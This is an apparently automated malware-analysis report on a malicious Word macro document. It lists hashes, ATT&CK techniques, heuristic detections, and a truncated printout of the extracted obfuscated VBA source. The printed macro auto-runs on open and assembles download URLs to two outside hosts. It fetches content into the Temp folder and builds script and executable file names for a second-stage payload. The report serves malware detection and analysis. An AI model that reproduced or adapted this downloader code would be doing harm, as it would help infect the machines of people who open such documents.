Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 19ec8c893e90bfd7…

MALICIOUS

Office (OLE)

166.0 KB Created: 2015-07-21 14:50:00 Authoring application: Microsoft Office Word First seen: 2017-11-29
MD5: 015774e058bcb1828726848d2edd93f9 SHA-1: ab8809c283ca6b950c0caf8a3cc69e8d270a1565 SHA-256: 19ec8c893e90bfd72c6335dbc1d4c538a74ea79df96c09de44b885d636513d93
390 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The macros are designed to execute automatically upon opening, as indicated by multiple AutoOpen and Workbook_Open heuristic firings. The VBA code utilizes `CreateObject` and `Shell` calls, suggesting it attempts to download and execute a second-stage payload. The document body includes a lure to 'Enable Content' to view the protected document, a common tactic for macro-based malware.

Heuristics 12

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11543 bytes
SHA-256: c3258ef44c51320a1b9dab3b43f2bd14051a657c414f3866efc41e226451fe41
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

 Sub ZJhcjkhjwqhdjqw_Open()
     
End Sub
Sub Huqwhdkqwhdjkqw_Open()
     
End Sub
Sub Auto_Open()
    Zjdihquhwqid
End Sub
Sub Zjdihquhwqid()
    HYQDUGWQ = "nj21he jg2hj21ge"
    Ynqhbdjhqwb
End Sub
Sub Giqjwdhqwkjq()
    BHBDJHWQ = "behj21ghj12"
End Sub
Sub AutoOpen()
    JAHSDJGHQW = "jr3 2jhjk2gr2"
    Zjdihquhwqid
End Sub

Sub Workbook_Open()
    LJKLJWDKLQ = "bhjgwqhjdgqj "
    Auto_Open
End Sub
 
Sub Ynqhbdjhqwb()

    
    Dim fallout As Integer, silkroad As Integer, inclife As Integer, inredible As Integer
    Dim retVal As Variant, gana As Integer, turkey As Integer, malay As Integer, SPAIN As String, BOLIVIA As String
    BOLIVIA = Chr(90 + 2)
    
    
    ANGOLA = Ubqhwdhwqbd(16137) + ""
    SPAIN = Chr(84) & "em" + "p"
    QHDQUWH = ANGOLA
    FL2 = QHDQUWH
    PH2 = Module2.Goabc(SPAIN) + BOLIVIA
    
    silkroad = 9
    jwnqdw = -1
    
    BOSNIA = 8719723
    BOSNIA = 1 + 1 + 113 + Sgn(jwnqdw)
    BALAGAN = BOSNIA
    

    JWIDJIAAA = ""
    QIWJDABB = "b"
    HUYFEA = QIWJDABB + "a" + "t"
    PSFL = FL2 + "" & "" + "." + "p" + "" + Chr(115) + Chr(49)
    
    gana = NUqwdqwbdsad(1 - 300 * Sin(20))
    SSS = Chr(BALAGAN + 2 + gana)
    VBFL = FL2 + Chr(50 - 4) + "v" + "" + "" & "b" & "" & SSS & ""
    BAFL = FL2 + Chr(NUqwdqwbdsad(Fix(-22.043)) + 31 - 10 + 25 + gana + 2) + HUYFEA
    
    INTG = "" & "o" & "bject"
    KIWD = Chr(110 + NUqwdqwbdsad(Len(BAFL))) + "dule"
    AFTG = Chr(109) & KIWD
    
    SXEE = Chr(46)
    SXAA = Chr(101)
    SXE = SXEE & SXAA & "" & "xe"
    GNG = Chr(2 ^ 2 + 42) + "jpg"
    
    
    
    HUQD = Chr(30 + 16 + 1)
    ATTH = "ht" & "t" & "" & "p" & ":" & "//"
    BQHJDQ = "sa" + "vep" + "ic" & Chr(46) & "su" + HUQD
     
    PSPTH = PH2 + PSFL
    VBPTH = PH2 + VBFL
    BAPTH = "1jh2ekh12kehk12he j12g e21"
    ABPTH = PH2 + BAFL
    BAPTH = ABPTH
    JHQKWDQAASS = BQHJDQ
    
    Dim BALAGANHUQW As Integer, DRT As Integer, BFT As Integer, CFT As Integer, DFT As Integer, EFT As Integer, CONT As String
    
    DRT = 315
    BFT = 316
    CFT = 317
    DFT = 318
    EFT = 319
    Dim NUWDHUQHUQWDH As String
    NUWDHUQHUQWDH = "" + "USE" & "RPROFILE"
    Dim PBIn As String, asdwq As String, MIWDWQ As String
    
   
    
    TSTS = "." + "tx" + "t"
    CDDD = "78672738612836" + TSTS
    LNSS = "f" & "a" & "f" & "a" & "" + TSTS
    STT1 = "phudge.ca/w" + "ordp" + "ress/w" + "p-con" + "tent/themes/can" + "vas/inc" + "ludes/.svn/props/"
    STT2 = "kedros.ch/mod" + "ules/m" + "od_ara" + "ticlhess/"


    PBIn = ATTH + STT1 + CDDD
    CONT = Module2.Linolium(PBIn)
     
    asdwq = Rasdas(CONT)
    
    HQUWDAAA = "0"
    If (asdwq <> "=") Then
        PBIn = ATTH + STT2 + CDDD
        CONT = Module2.Linolium(PBIn)
        asdwq = CONT
        HQUWDAAA = "1"
    End If
    
    CONT = Quqhwdbyas(asdwq)
     
    Dim ahuywdgqy As String
     
    TVT10 = Port(CONT, "t" & "ext10")
    TVT20 = Port(CONT, "t" & "ext20")
    TVT21 = Port(CONT, "t" & "ext21")
    TVT30 = Port(CONT, "t" & "ext30")
    TVT31 = Port(CONT, "t" & "ext31")
    XPT1 = Port(CONT, "stext1")
    XPT2 = Port(CONT, "stext2")
    XPT3 = Port(CONT, "stext3")
    
    
    WVR = Module2.Goabc(NUWDHUQHUQWDH)
    hufehu1 = InStr(WVR, "sers\")
    
    Dim hudhw As Integer
    Dim ghdAdd(1 To 3)
    ghdAdd(1) = "1"
    ghdAdd(2) = "0"
    ghdAdd(3) = "0"
    
    If (hufehu1 <> 0) Then
        ghdAdd(1) = "2"
    Else
        ghdAdd(2) = "3"
    End If


    JHWQUD = Join(ghdAdd)
    hudhw = Val(JHWQUD)
    
    Module2.Crispy (1)
    
    MIWDWQ = ATTH + STT1 + LNSS
    If (HQUWDAAA = "1") Then
        MIWDWQ = ATTH + STT2 + LNSS
    End If
    
    SEXX = Module2.Linolium(MIWDWQ)
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.